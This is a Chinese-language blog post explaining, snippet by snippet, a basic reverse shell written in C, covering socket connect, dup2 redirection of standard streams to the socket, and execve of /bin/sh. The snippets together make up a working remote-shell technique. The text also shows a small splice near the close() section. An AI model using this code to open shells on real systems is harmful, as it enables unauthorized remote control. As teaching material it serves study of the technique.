使用socket()实现基本的C反向Shell并进行详细解释

作者:Sec-Labs | 发布时间:

项目地址

https://github.com/pwnwithlove/C_revshell

项目用途

该项目实现了一个用C语言编写的反向shell,可以用于网络安全领域中的渗透测试和攻击操作。具体作用如下:

  • 通过socket()系统调用建立与服务器的连接;
  • 使用struct sockaddr_in结构体表示服务器地址,其中sin_family表示地址类型,sin_port表示端口号;
  • 使用inet_pton()函数将IP地址从字符串格式转换为二进制格式;
  • 使用connect()函数与服务器建立连接;
  • 使用dup2()函数将标准输入输出重定向到socket连接上,使得对标准输入的操作可以被发送到服务器上,对标准输出的操作可以从服务器上获取结果;
  • 使用execve()函数执行/bin/sh程序,启动一个shell进程;
  • 最后使用close()函数关闭socket连接。

该反向shell可以被用于执行命令、浏览文件系统、获取系统权限等操作,因此可能被黑客用于非法入侵操作。

使用 socket() 在 C 中实现反向 Shell

小小免责声明

我是 C 编程的新手,我决定分享我的学习进步。如果有错误,请谅解,并欢迎纠正我以帮助我获得新的知识。(显然仅供学习目的)

 

socket() 是一个依赖于 <sys/socket.h> 库的系统调用。为了理解它的功能,我们需要了解构成它的结构组件。

struct sockaddr_in

struct sockaddr_in server_addr;

定义类型为 struct sockaddr_in 的变量 server_addr 用于表示服务器地址。创建了内存空间以存储这个结构。它的字段可以填充特定的服务器地址信息:

struct sockaddr_in {
   uint8_t         sin_len;       // 总长度      
   sa_family_t     sin_family;    // 地址族:AF_INET    
   in_port_t       sin_port;      // 端口号  
   struct in_addr  sin_addr;      // IP 地址  
   unsigned char   sin_zero[8];   // 一个 8 字节的零字段  

这是在 sockaddr_in 结构中定义的所有变量。我们只使用 sin_familysin_portsin_addrsin_family 变量被设置为 AF_INET 参数,以指定套接字将要通信的地址类型,这里是 IPv4sin_port 变量以参数形式接受端口号,它本身被传递给 htons() 函数(主机到网络短整型)。htons() 将一个无符号短整型从主机字节序转换为网络字节序(大端)。因此,通过使用 AF_INETsin_familysin_port 为端口号,以及使用 htons() 将端口转换为网络字节序,我们正在配置服务器地址为一个具有指定端口的 IPv4 地址。

inet_pton()

inet_pton(AF_INET, IP, &(server_addr.sin_addr));

inet_pton() 用于将 IPv4IPv6 地址(以基本字符串格式)转换为套接字使用的二进制表示形式。它以 AF(地址族)作为参数,将 IP 地址(目前为字符串格式)转换并存储在 server_addr 结构的 sin_addr 变量中。

connect()

connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr));

connect() 建立客户端套接字(sockfd)和服务器套接字(server_addr)之间的连接。(struct sockaddr *)&server_addr 将指针 server_addr 转换为指向 struct sockaddr * 类型的指针。我们从它的手册页中的函数原型中了解到,connect() 期望第二个参数是指向 struct sockaddr 的指针。sizeof(server_addr) 指定了 server_addr 结构的大小(以字节为单位),使 connect() 知道执行连接所需的结构的大小。

dup2()

    dup2(sockfd, 0);
    dup2(sockfd, 1);
    dup2(sockfd, 2);

dup2() 将现有文件描述符复制到另一个文件描述符。它以父文件描述符和子文件描述符作为参数。stdin(0)、stdout(1)和 stderr(2)被重定向到 sockfd 的文件描述符。实质上,从 stdin 检索的任何输入都将从 socket 中读取,任何写入到 stdoutstderr 的输出都将通过网络连接发送到服务器。

execve()

execve("/bin/sh", 0, 0);

execve() 是一个系统调用,允许从指定的可执行文件(在这种情况下为 /bin/sh)中执行新程序。从它的手册页中,我们了解到 execve() 将第二个参数作为指向参数数组的 char 指针,将第三个参数作为 char 指针,指向程序启动的环境。由于这些参数在我们的代码片段中没有使用,它们被定义为 0。在这种情况下,它执行 /bin/sh 程序,在当前执行环境中启动一个 shell 进程。

close()## 项目介绍

这是一个使用C语言编写的网络编程项目,主要涉及到socket的使用和网络连接的建立与终止。

代码示例

close(sockfd);

close()函数用于关闭文件描述符。在这里,close()被调用以释放分配的资源并终止网络连接。

资源

https://broux.developpez.com/articles/c/sockets/ (完整的法语文档)
https://man.archlinux.org/man/
https://man7.org/linux/man-pages/
特别感谢@h0mbre ˚ʚ♡ɞ˚的贡献。

标签:工具分享, 反弹shell